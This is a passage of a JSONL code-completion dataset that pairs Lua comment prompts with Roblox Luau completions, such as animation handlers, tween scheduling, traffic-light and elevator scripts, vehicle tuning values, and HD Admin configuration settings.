t.numberMinExclusive(min)\n\tlocal maxCheck = t.numberMaxExclusive(max)\n\treturn function(value)\n\t\tlocal minSuccess, minErrMsg = minCheck(value)\n\t\tif not minSuccess then\n\t\t\treturn false, minErrMsg or \"\"\n\t\tend\n\n\t\tlocal maxSuccess, maxErrMsg = maxCheck(value)\n\t\tif not maxSuccess then\n\t\t\treturn false, maxErrMsg or \"\"\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--\t\tsetAnimationSpeed(speed / scale)", "completion": "\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction animateTool()\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal lastTick = 0\n\nfunction stepAnimate(currentTime)\n \tlocal deltaTime = currentTime - lastTick\n \tlastTick = currentTime\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = Character:FindFirstChildOfClass(\"Tool\")\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = currentTime + .3\n\t\tend\n\n\t\tif currentTime > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "-- constants", "completion": "\n\nlocal REMOTES\t= ReplicatedStorage:WaitForChild(\"Remotes\")\nlocal MODULES\t= ReplicatedStorage:WaitForChild(\"Modules\")\n\tlocal EFFECTS\t= require(MODULES:WaitForChild(\"Effects\"))\n"} +{"prompt": "-- TextLabel", "completion": "\nlocal textLabel = script.Parent\n\nlocal function updateText()\t\n\ttextLabel.Text = points.Value\nend\n"} +{"prompt": "-- Luke", "completion": "\n\n\nlocal button = script.Parent\nlocal players = game:GetService('Players')\nlocal characterScripts = game:GetService('ReplicatedStorage'):WaitForChild('CharacterScripts')\n\n\nlocal CHARACTER_TEMPLATE = workspace:WaitForChild('Woman')\nlocal DEBOUNCE_TIME = 5\nlocal debounce = false\n\n\nbutton.Touched:connect(function(hit)\n\tif hit and hit.Parent then\n\t\tlocal humanoid = hit.Parent:FindFirstChild('Humanoid')\n\t\tlocal hrp = hit.Parent:FindFirstChild('HumanoidRootPart')\n\t\tif hrp and humanoid and humanoid.Health > 0 then\n\t\t\tlocal player = players:GetPlayerFromCharacter(hit.Parent)\n\t\t\tif not debounce then\n\t\t\t\tdebounce = true\n\t\t\t\t\n\t\t\t\tlocal newCharacter = CHARACTER_TEMPLATE:Clone()\n\t\t\t\tnewCharacter.HumanoidRootPart.CFrame = hrp.CFrame\n\t\t\t\tnewCharacter.HumanoidRootPart.Anchored = false\n\t\t\t\tnewCharacter.Name = player.Name\n\t\t\t\t\n\t\t\t\tfor i,v in pairs(characterScripts:GetChildren()) do\n\t\t\t\t\tv:clone().Parent = newCharacter\n\t\t\t\tend\n\n\t\t\t\tplayer.Character = newCharacter\n\t\t\t\tnewCharacter.Parent = workspace\n\n\t\t\t\twait(DEBOUNCE_TIME)\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend\n\tend\nend)\n\n\n\n\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nwhile wait() do\n\t\n\t-- -- -- -- -- -- --\n\t--DIRECTION SCROLL--\n\t-- -- -- -- -- -- --\n\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\tThis.Display.ARW1.U.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.U.Material = \"Neon\"\n\t\tThis.Display.ARW1.D.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.D.Material = \"SmoothPlastic\"\n\telseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\tThis.Display.ARW1.U.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.U.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.D.BrickColor = BrickColor.new(ActiveColour)\n\t\tThis.Display.ARW1.D.Material = \"Neon\"\n\telse\n\t\tThis.Display.ARW1.U.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.U.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.D.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.D.Material = \"SmoothPlastic\"\n\tend\n\t\n\tif Lift:WaitForChild(\"Mode\").Value ~= \"auto\" then\n\t\tThis.Legend.SurfaceGui.OOS.TextColor3 = Color3.fromRGB(255, 170, 0)\n\telse\n\t\tThis.Legend.SurfaceGui.OOS.TextColor3 = Color3.fromRGB(54, 54, 54)\n\tend\n\t\n\tif Lift.Car.Sensor:FindFirstChild(\"Overloaded\") then\n\t\tif Lift.Car.Sensor.Overloaded.Value == true then\n\t\t\tThis.Legend.SurfaceGui.FULL.TextColor3 = Color3.fromRGB(255, 170, 0)\n\t\telse\n\t\t\tThis.Legend.SurfaceGui.FULL.TextColor3 = Color3.fromRGB(54, 54, 54)\n\t\tend\n\tend\n\t\nend\n"} +{"prompt": "-- Demo dynamic settings", "completion": "\n\nlocal Gui = Instance.new(\"ScreenGui\")\n\n\nlocal CountLabel = Instance.new(\"TextLabel\")\nCountLabel.Text = string.format(\"Leaf Count: %d Active, %d Inactive, 77760 Total\",0,0)\nCountLabel.BackgroundTransparency = 0.3\nCountLabel.BackgroundColor3 = Color3.new()\nCountLabel.TextStrokeTransparency = 0.8\nCountLabel.Size = UDim2.new(0.6,0,0,27)\nCountLabel.Position = UDim2.new(0.2,0,1,-35)\nCountLabel.Font = Enum.Font.RobotoMono\nCountLabel.TextSize = 25\nCountLabel.TextColor3 = Color3.new(1,1,1)\nCountLabel.Parent = Gui\n\nlocal SpeedInput = Instance.new(\"TextBox\")\nSpeedInput.Text = string.format(\"Wind Speed: %.1f\",WIND_SPEED)\nSpeedInput.PlaceholderText = \"Input Speed\"\nSpeedInput.BackgroundTransparency = 0.8\nSpeedInput.TextStrokeTransparency = 0.8\nSpeedInput.Size = UDim2.new(0.2,0,0,20)\nSpeedInput.Position = UDim2.new(0,5,0.45,0)\nSpeedInput.Font = Enum.Font.RobotoMono\nSpeedInput.TextXAlignment = Enum.TextXAlignment.Left\nSpeedInput.TextSize = 18\nSpeedInput.TextColor3 = Color3.new(1,1,1)\nSpeedInput.FocusLost:Connect(function()\n\tlocal newSpeed = tonumber(SpeedInput.Text:match(\"[%d%.]+\"))\n\tif newSpeed then\n\t\tWIND_SPEED = math.clamp(newSpeed,0,50)\n\t\tWindLines.Speed = WIND_SPEED\n\t\tWindShake:UpdateAllObjectSettings({Speed = WIND_SPEED})\n\t\tWindShake:SetDefaultSettings({Speed = WIND_SPEED})\n\tend\n\tSpeedInput.Text = string.format(\"Wind Speed: %.1f\",WIND_SPEED)\nend)\nSpeedInput.Parent = Gui\n\nlocal PowerInput = Instance.new(\"TextBox\")\nPowerInput.Text = string.format(\"Wind Power: %.1f\",WIND_POWER)\nPowerInput.PlaceholderText = \"Input Power\"\nPowerInput.BackgroundTransparency = 0.8\nPowerInput.TextStrokeTransparency = 0.8\nPowerInput.Size = UDim2.new(0.2,0,0,20)\nPowerInput.Position = UDim2.new(0,5,0.45,25)\nPowerInput.Font = Enum.Font.RobotoMono\nPowerInput.TextXAlignment = Enum.TextXAlignment.Left\nPowerInput.TextSize = 18\nPowerInput.TextColor3 = Color3.new(1,1,1)\nPowerInput.FocusLost:Connect(function()\n\tlocal newPower = tonumber(PowerInput.Text:match(\"[%d%.]+\"))\n\tif newPower then\n\t\tWIND_POWER = math.clamp(newPower,0,3)\n\t\tWindShake:UpdateAllObjectSettings({Power = WIND_POWER})\n\t\tWindShake:SetDefaultSettings({Power = WIND_POWER})\n\tend\n\tPowerInput.Text = string.format(\"Wind Power: %.1f\",WIND_POWER)\nend)\nPowerInput.Parent = Gui\n\nlocal DirInput = Instance.new(\"TextBox\")\nDirInput.Text = string.format(\"Wind Direction: %.1f,%.1f,%.1f\",WIND_DIRECTION.X,WIND_DIRECTION.Y,WIND_DIRECTION.Z)\nDirInput.PlaceholderText = \"Input Direction\"\nDirInput.BackgroundTransparency = 0.8\nDirInput.TextStrokeTransparency = 0.8\nDirInput.Size = UDim2.new(0.2,0,0,20)\nDirInput.Position = UDim2.new(0,5,0.45,50)\nDirInput.Font = Enum.Font.RobotoMono\nDirInput.TextXAlignment = Enum.TextXAlignment.Left\nDirInput.TextSize = 18\nDirInput.TextColor3 = Color3.new(1,1,1)\nDirInput.FocusLost:Connect(function()\n\n\tlocal Inputs = table.create(3)\n\tfor Num in string.gmatch(DirInput.Text, \"%-?[%d%.]+\") do\n\t\tInputs[#Inputs+1] = tonumber(Num)\n\tend\n\n\tlocal newDir = Vector3.new(\n\t\tInputs[1] or WIND_DIRECTION.X,\n\t\tInputs[2] or WIND_DIRECTION.Y,\n\t\tInputs[3] or WIND_DIRECTION.Z\n\t).Unit\n\tif newDir then\n\t\tWIND_DIRECTION = newDir\n\t\tWindLines.Direction = newDir\n\t\tWindShake:UpdateAllObjectSettings({Direction = newDir})\n\t\tWindShake:SetDefaultSettings({Direction = newDir})\n\tend\n\n\tDirInput.Text = string.format(\"Wind Direction: %.1f, %.1f, %.1f\",WIND_DIRECTION.X,WIND_DIRECTION.Y,WIND_DIRECTION.Z)\nend)\nDirInput.Parent = Gui\n\n\n\nspawn(function()\n\twhile wait(0.1) do\n\t\tlocal Active,Handled = WindShake.Active,WindShake.Handled\n\t\tCountLabel.Text = string.format(\"Leaf Count: %d Active, %d Inactive, %d Not Streamed In (77760 Total)\",Active,Handled-Active,77760-Handled)\n\tend\nend)\n"} +{"prompt": "-- 2nd Light to go green", "completion": "\n\nwhile true do\n\tscript.Parent.Red.SurfaceGui.Enabled = true\n\twait(2)\n\twait(25)\n\twait(2)\n\tscript.Parent.Yellow.SurfaceGui.Enabled = true\n\tscript.Parent.Green.SurfaceGui.Enabled = false\n\twait(3)\n\tscript.Parent.Red.SurfaceGui.Enabled = false\n\tscript.Parent.Yellow.SurfaceGui.Enabled = false\n\tscript.Parent.Green.SurfaceGui.Enabled = true\n\twait(15)\n\tscript.Parent.Green.SurfaceGui.Enabled = false\n\tscript.Parent.Yellow.SurfaceGui.Enabled = true\n\twait(3)\n\tscript.Parent.Red.SurfaceGui.Enabled = true\n\tscript.Parent.Yellow.SurfaceGui.Enabled = false\n\tscript.Parent.Green.SurfaceGui.Enabled = false\n\twait(2)\n\twait(25)\nend\n"} +{"prompt": "-- Looking for how exactly to set up your background music? Open the Readme/Instructions script!", "completion": "\n\n\nlocal settings = {}\n\nsettings.UseGlobalBackgroundMusic = true -- If you want to play Global Background Music for everyone in your game, set this to true.\n\nsettings.UseMusicZones = true -- If you are using the Background Music Zones to play specific music in certain areas, set this to true.\n"} +{"prompt": "--Place this script into ServerScriptService.\n--Place \"HealthBar3D\" into ReplicatedStorage.", "completion": "\n\nfunction AddHealthBar(character)\n\tlocal HPBar = Game.ReplicatedStorage.HealthBar3D:Clone()\n\tHPBar.Parent = character\nend\n\nfunction PlayerEntered(player)\n\tplayer.HealthDisplayDistance = 0\n\tplayer.NameDisplayDistance = 0\n\tplayer.CharacterAdded:connect(AddHealthBar)\nend\n\nGame.Players.PlayerAdded:connect(PlayerEntered)\n"} +{"prompt": "-- Setup animation objects", "completion": "\nfunction scriptChildModified(child)\nlocal fileList = animNames[child.Name]\nif (fileList ~= nil) then\nconfigureAnimationSet(child.Name, fileList)\nend\nend\n\nscript.ChildAdded:connect(scriptChildModified)\nscript.ChildRemoved:connect(scriptChildModified)\n\n\nfor name, fileList in pairs(animNames) do \nconfigureAnimationSet(name, fileList)\nend\n"} +{"prompt": "--[[\n\tUpdates all Tween objects.\n]]", "completion": "\nlocal function updateAllTweens()\n\tlocal now = os.clock()\n\tfor tween in pairs(allTweens) do\n\t\tlocal currentTime = now - tween._currentTweenStartTime\n\n\t\tif currentTime > tween._currentTweenDuration then\n\t\t\tif tween._currentTweenInfo.Reverses then\n\t\t\t\ttween._currentValue = tween._prevValue\n\t\t\telse\n\t\t\t\ttween._currentValue = tween._nextValue\n\t\t\tend\n\t\t\tupdateAll(tween)\n\t\t\tTweenScheduler.remove(tween)\n\t\telse\n\t\t\tlocal ratio = getTweenRatio(tween._currentTweenInfo, currentTime)\n\t\t\tlocal currentValue = lerpType(tween._prevValue, tween._nextValue, ratio)\n\t\t\ttween._currentValue = currentValue\n\t\t\tupdateAll(tween)\n\t\tend\n\tend\nend\n\nRunService:BindToRenderStep(\n\t\"__FusionTweenScheduler\",\n\tEnum.RenderPriority.First.Value,\n\tupdateAllTweens\n)\n\nreturn TweenScheduler\n"} +{"prompt": "-- need to make textbox auto resize with textbounds, maybe try and fix a way to put scrollbar on the right more so text cant overlap with it?", "completion": "\n"} +{"prompt": "--[[\n\tGiven a `tweenInfo` and `currentTime`, returns a ratio which can be used to\n\ttween between two values over time.\n]]", "completion": "\n\nlocal TweenService = game:GetService(\"TweenService\")\n\nlocal function getTweenRatio(tweenInfo: TweenInfo, currentTime: number): number\n\tlocal delay = tweenInfo.DelayTime\n\tlocal duration = tweenInfo.Time\n\tlocal reverses = tweenInfo.Reverses\n\tlocal numRepeats = tweenInfo.RepeatCount\n\tlocal easeStyle = tweenInfo.EasingStyle\n\tlocal easeDirection = tweenInfo.EasingDirection\n\n\tlocal cycleDuration = delay + duration\n\tif reverses then\n\t\tcycleDuration += duration\n\tend\n\n\tif currentTime >= cycleDuration * numRepeats then\n\t\treturn 1\n\tend\n\n\tlocal cycleTime = currentTime % cycleDuration\n\n\tif cycleTime <= delay then\n\t\treturn 0\n\tend\n\n\tlocal tweenProgress = (cycleTime - delay) / duration\n\tif tweenProgress > 1 then\n\t\ttweenProgress = 2 - tweenProgress\n\tend\n\n\tlocal ratio = TweenService:GetValue(tweenProgress, easeStyle, easeDirection)\n\treturn ratio\nend\n\nreturn getTweenRatio\n"} +{"prompt": "-- given an Instance and a property-value table subset, returns\n-- an InstanceSubset object representing the subset of Instance with values in the subset table\n-- and a InstanceSubset object representing the subset table", "completion": "\nlocal function getInstanceSubset(instance: any, subset: any, seenReferences): any\n\tseenReferences = seenReferences or {}\n\n\tlocal trimmed: any = {}\n\tseenReferences[instance] = trimmed\n\n\t-- return non-table primitives\n\tif equals(instance, subset) then\n\t\treturn subset, subset\n\telseif typeof(subset) ~= \"table\" or isAsymmetric(subset) then\n\t\treturn instance, subset\n\tend\n\n\t-- collect non-table primitive values\n\tlocal newSubset = {}\n\tfor k, v in pairs(subset) do\n\t\tif typeof(v) ~= \"table\" then\n\t\t\tnewSubset[k] = v\n\t\tend\n\tend\n\n\tlocal propsAndChildren = getRobloxProperties(instance.ClassName)\n\tfor _, v in ipairs(instance:getChildren()) do\n\t\ttable.insert(propsAndChildren, v.Name)\n\tend\n\n\tfor i, prop in\n\t\tipairs(Array.filter(propsAndChildren, function(prop)\n\t\t\treturn hasPropertyInObject(subset, prop)\n\t\tend))\n\tdo\n\t\tif seenReferences[instance[prop]] ~= nil then\n\t\t\terror(\"Circular reference passed into .toMatchInstance(subset)\")\n\t\telse\n\t\t\tlocal nestedSubset\n\t\t\ttrimmed[prop], nestedSubset = getInstanceSubset(instance[prop], subset[prop], seenReferences)\n\t\t\tnewSubset[prop] = nestedSubset\n\t\tend\n\tend\n\n\t-- serialize with a different ClassName if the subset has ClassName defined,\n\t-- otherwise treat it as the same class as the original Instance\n\tlocal subsetClassName = instance.ClassName\n\tif typeof(subset) == \"table\" and rawget(subset, \"ClassName\") then\n\t\tsubsetClassName = rawget(subset, \"ClassName\")\n\tend\n\n\treturn InstanceSubset.new(instance.ClassName, trimmed), InstanceSubset.new(subsetClassName, newSubset)\nend\n\nreturn {\n\tgetRobloxProperties = getRobloxProperties,\n\tinstanceSubsetEquality = instanceSubsetEquality,\n\tInstanceSubset = InstanceSubset,\n\tgetInstanceSubset = getInstanceSubset,\n}\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= 1\n\tTune.RCamber\t\t= 1\n\tTune.FCaster\t\t= 0\n\tTune.RCaster\t\t= 0\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\nTune.Config\t\t\t= \"RWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 50\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 50\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 10\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "--[[ Services ]]", "completion": "--\nlocal PlayersService = game:GetService('Players')\nlocal VRService = game:GetService(\"VRService\")\n"} +{"prompt": "---------\n--Setup--\n---------", "completion": "\nwhile not Gui or not Gui:findFirstChild\"Frame\" do\n\twait()\n\tGui = script.Parent\nend\n"} +{"prompt": "--[[*\n * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n ]]", "completion": "\n\nlocal exports = {}\n"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal SHOT_SPEED = 200\nlocal SHOT_TIME = 1\n\nlocal NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)\n"} +{"prompt": "--------------------\n--| Script Logic |--\n--------------------", "completion": "\n\nTool.Equipped:connect(OnEquipped)\nTool.Activated:connect(OnActivated)\nTool.Unequipped:connect(OnUnequipped)\nTool.ChildAdded:connect(OnChildAdded) --NOTE: Added for Action Button\n"} +{"prompt": "--------------| SYSTEM SETTINGS |--------------", "completion": "\nPrefix\t\t\t\t= \";\";\t\t\t-- The character you use before every command (e.g. ';jump me').\nSplitKey \t\t\t= \" \";\t\t\t-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').\nBatchKey \t\t\t= \"\";\t\t\t-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'\nQualifierBatchKey \t= \",\";\t\t\t-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)\n\nTheme\t\t\t\t= \"Blue\";\t\t-- The default UI theme.\nNoticeSoundId\t\t= 2865227271;\t-- The SoundId for notices.\nNoticeVolume\t\t= 0.1;\t\t\t-- The Volume for notices.\nNoticePitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for notices.\nErrorSoundId\t\t= 2865228021;\t-- The SoundId for error notifications.\nErrorVolume\t\t\t= 0.1;\t\t\t-- The Volume for error notifications.\nErrorPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for error notifications.\nAlertSoundId\t\t= 3140355872;\t-- The SoundId for alerts.\nAlertVolume\t\t\t= 0.5;\t\t\t-- The Volume for alerts.\nAlertPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for alerts.\n\nWelcomeBadgeId\t\t= 0;\t\t\t-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.\n\nCommandDebounce\t\t= true;\t\t\t-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.\nSaveRank\t\t\t= true;\t\t\t-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.\nLoopCommands\t\t= 3;\t\t\t-- The minimum rank required to use LoopCommands.\nMusicList \t\t\t= {505757009,};\t-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.\n\nThemeColors = {\t\t\t\t\t\t-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};\n\t{\"Red\", \tColor3.fromRGB(150, 0, 0),\t\t};\n\t{\"Orange\", \tColor3.fromRGB(150, 75, 0),\t\t};\n\t{\"Brown\", \tColor3.fromRGB(120, 80, 30),\t};\n\t{\"Yellow\", \tColor3.fromRGB(130, 120, 0),\t};\n\t{\"Green\", \tColor3.fromRGB(0, 120, 0),\t\t};\n\t{\"Blue\", \tColor3.fromRGB(0, 100, 150),\t};\n\t{\"Purple\", \tColor3.fromRGB(100, 0, 150),\t};\n\t{\"Pink\",\tColor3.fromRGB(150, 0, 100),\t};\n\t{\"Black\", \tColor3.fromRGB(60, 60, 60),\t\t};\n};\n\nColors = {\t\t\t\t\t\t\t-- The colours for ChatColors and command arguments. | Format: {\"ShortName\", \"FullName\", Color3Value};\n\t{\"r\", \t\t\"Red\",\t\t \t\tColor3.fromRGB(255, 0, 0)\t\t};\n\t{\"o\", \t\t\"Orange\",\t \t\tColor3.fromRGB(250, 100, 0)\t\t};\n\t{\"y\", \t\t\"Yellow\",\t\t\tColor3.fromRGB(255, 255, 0)\t\t};\n\t{\"g\", \t\t\"Green\"\t,\t\t\tColor3.fromRGB(0, 255, 0)\t\t};\n\t{\"dg\", \t\t\"DarkGreen\"\t, \t\tColor3.fromRGB(0, 125, 0)\t\t};\n\t{\"b\", \t\t\"Blue\",\t\t \t\tColor3.fromRGB(0, 255, 255)\t\t};\n\t{\"db\", \t\t\"DarkBlue\",\t\t\tColor3.fromRGB(0, 50, 255)\t\t};\n\t{\"p\", \t\t\"Purple\",\t \t\tColor3.fromRGB(150, 0, 255)\t\t};\n\t{\"pk\",\t\t\"Pink\",\t\t \t\tColor3.fromRGB(255, 85, 185)\t};\n\t{\"bk\",\t\t\"Black\",\t\t \tColor3.fromRGB(0, 0, 0)\t\t\t};\n\t{\"w\",\t\t\"White\",\t \t\tColor3.fromRGB(255, 255, 255)\t};\n};\nChatColors = {\t\t\t\t\t\t-- The colour a player's chat will appear depending on their rank. '[\"Owner\"] = \"Yellow\";' makes the owner's chat yellow.\n\t[5] \t\t= \"Yellow\";\n};\n\nCmdbar\t\t\t\t\t\t= 1;\t\t\t-- The minimum rank required to use the Cmdbar.\nCmdbar2\t\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to use the Cmdbar2.\nViewBanland\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to view the banland.\nOnlyShowUsableCommands\t\t= false;\t\t-- Only display commands equal to or below the user's rank on the Commands page.\nRankRequiredToViewPage\t\t= {\t\t\t\t-- || The pages on the main menu ||\n\t[\"Commands\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Settings\"]\t\t= 0;\n};\nRankRequiredToViewRank\t\t= {\t\t\t\t-- || The rank categories on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"HeadAdmin\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Mod\"]\t\t\t\t= 0;\n\t[\"VIP\"]\t\t\t\t= 0;\n};\nRankRequiredToViewRankType\t= {\t\t\t\t-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"SpecificUsers\"]\t= 5;\n\t[\"Gamepasses\"] \t\t= 0;\n\t[\"Assets\"] \t\t\t= 0;\n\t[\"Groups\"] \t\t\t= 0;\n\t[\"Friends\"] \t\t= 0;\n\t[\"FreeAdmin\"] \t\t= 0;\n\t[\"VipServerOwner\"] \t= 0;\n};\n\nWelcomeRankNotice\t\t\t= true;\t\t\t-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.\nWelcomeDonorNotice\t\t\t= true;\t\t\t-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.\nWarnIncorrectPrefix\t\t\t= true;\t\t\t-- Warn the user if using the wrong prefix | \"Invalid prefix! Try using [correctPrefix][commandName] instead!\"\nDisableAllNotices\t\t\t= false;\t\t-- Set to true to disable all HD Admin notices.\n\nScaleLimit\t\t\t\t\t= 4;\t\t\t-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.\nIgnoreScaleLimit\t\t\t= 3;\t\t\t-- Any ranks equal or above this value will ignore 'ScaleLimit'\n\t\nVIPServerCommandBlacklist\t= {\"permRank\", \"permBan\", \"globalAnnouncement\"};\t-- Commands players are probihited from using in VIP Servers.\nGearBlacklist\t\t\t\t= {67798397};\t-- The IDs of gear items to block when using the ;gear command.\nIgnoreGearBlacklist\t\t\t= 4;\t\t\t-- The minimum rank required to ignore the gear blacklist.\n\nPlayerDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.\nSystemDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.\n\nCoreNotices\t\t\t\t\t= {\t\t\t\t-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]\n\t--NoticeName = NoticeDetails;\n};\n\nChatVoiceAutoEnabled\t\t= false;\nChatVoiceRequiredRank\t\t= 0;\n\n\n\n"} +{"prompt": "--- Gets a list of all possible values that could match based on the current value.", "completion": "\nfunction Argument:GetAutocomplete()\n\tif self.Type.Autocomplete then\n\t\treturn self.Type.Autocomplete(self:GetTransformedValue(#self.TransformedValues))\n\telse\n\t\treturn {}\n\tend\nend\n\nfunction Argument:ParseValue(i)\n\tif self.Type.Parse then\n\t\treturn self.Type.Parse(self:GetTransformedValue(i))\n\telse\n\t\treturn self:GetTransformedValue(i)\n\tend\nend\n"} +{"prompt": "--[[**\n\tensures value is a number where value <= max\n\n\t@param max The maximum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberMax(max)\n\treturn function(value)\n\t\tlocal success, errMsg = t.number(value)\n\t\tif not success then\n\t\t\treturn false, errMsg\n\t\tend\n\t\tif value <= max then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"number <= %s expected, got %s\", max, value)\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]]", "completion": "--\nfunction OrbitalCamera:GetCameraToSubjectDistance()\n\treturn self.curDistance\nend\n\nfunction OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance)\n\tprint(\"OrbitalCamera SetCameraToSubjectDistance \",desiredSubjectDistance)\n\tlocal player = PlayersService.LocalPlayer\n\tif player then\n\t\tself.currentSubjectDistance = math.clamp(desiredSubjectDistance, self.minDistance, self.maxDistance)\n\n\t\t-- OrbitalCamera is not allowed to go into the first-person range\n\t\tself.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD)\n\tend\n\tself.inFirstPerson = false\n\tself:UpdateMouseBehavior()\n\treturn self.currentSubjectDistance\nend\n\nfunction OrbitalCamera:CalculateNewLookVector(suppliedLookVector, xyRotateVector)\n\tlocal currLookVector = suppliedLookVector or self:GetCameraLookVector()\n\tlocal currPitchAngle = math.asin(currLookVector.y)\n\tlocal yTheta = math.clamp(xyRotateVector.y, currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG))\n\tlocal constrainedRotateInput = Vector2.new(xyRotateVector.x, yTheta)\n\tlocal startCFrame = CFrame.new(ZERO_VECTOR3, 